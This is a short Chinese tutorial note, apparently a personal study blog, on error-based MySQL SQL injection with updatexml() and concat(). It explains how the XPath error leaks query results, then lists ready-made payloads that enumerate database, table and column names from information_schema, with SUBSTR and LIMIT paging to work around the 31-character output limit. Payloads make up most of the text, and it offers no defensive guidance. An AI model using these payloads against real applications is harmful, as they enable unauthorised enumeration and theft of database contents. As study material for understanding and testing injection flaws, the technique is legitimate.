注入sql攻击,爆库,爆表,爆字段
研究sql注入攻击的方式, 自己有空写个demo试下效果
函数
除了这个函数还有其他几个函数可以实现注入sql攻击的效果
updatexml(a,b,c)
参数a: xml文档名字
参数b: xpath表达式
参数c: 替换的值
原理就是将b替换成concat
函数, concat函数里又包含sql, mysq基于函数的运算法则, 应该是先执行里面的sql, 然后将查询到的值, 执行concat函数, 得到最终的字符串, 但是肯定不满足xpath表达式要求, 就会抛出错误, 同时将这个字符串抛出.
updatexml(1,concat('~',sql,'~'),1)
就是上面这段了, 包含了updatexml函数和concat函数
自然是先执行concat函数, concat中前后两个~
随意只是用于将查询到的值和两边的错误信息区分开.
然后执行updatexml, 前后的1也是随意, 也看到别人的博客用16进制的常量代替.
可以放在select 后面, 也可以放在where条件中, 就和mysql其他函数一样.
注意点
- updatexml能返回的值长度有限, 经过测试是31, 所以如果我们查的值超过这个长度, 要用
substr
这些切割函数来处理 - 因为updatexml只支持返回一行数据的值, 所以我们需要用limit. 很多博客说用
group_concat
函数来将多行结果拼在一行返回, 经过测试也有限制, mysql默认最长是返回1024的长度, 如果数据多了拼成一行肯定不全. 只能用中间表的方式, 将数据limit一次再来group_concat, 或者干脆就直接一条条展示.
- 爆库
select updatexml(1,concat('~',(select SUBSTR(GROUP_CONCAT(SCHEMA_NAME),1,30) from information_schema.SCHEMATA ),'~'),1);
select updatexml(1,concat('~',(select SUBSTR(GROUP_CONCAT(SCHEMA_NAME),31,60) from information_schema.SCHEMATA ),'~'),1);
亦可以放在where条件后:
select 1 from dual where '' = updatexml(1,concat('~',(select SUBSTR(GROUP_CONCAT(SCHEMA_NAME),1,30) from information_schema.SCHEMATA ),'~'),1);
- 爆表, 用中间表, 或者1个接着1个表查
-- 爆表1, 一个个表名查, 手动分页限制1条
select updatexml(1,concat('~',(SELECT table_name FROM information_schema.tables where TABLE_SCHEMA = 'zzzgd' order by CREATE_TIME asc limit 21,1 ),'~'),1);
-- 爆表2, 一次查多个(20条记录),拼成一行后,分多次切割字符串取
select updatexml(1,concat('~',(SELECT SUBSTR(GROUP_CONCAT(table_name),1,30) FROM (select table_name from information_schema.tables where TABLE_SCHEMA = 'zzzgd' limit 1,20) t),'~'),1);
- 爆字段
select updatexml(1,CONCAT('~',(select SUBSTR(GROUP_CONCAT(COLUMN_NAME),0,30) from information_schema.`COLUMNS` c WHERE TABLE_SCHEMA ='zzzgd' and TABLE_NAME = 'tb_user') ,'~'),1)
select updatexml(1,CONCAT('~',(select SUBSTR(GROUP_CONCAT(COLUMN_NAME),31,60) from information_schema.`COLUMNS` c WHERE TABLE_SCHEMA ='zzzgd' and TABLE_NAME = 'tb_user') ,'~'),1)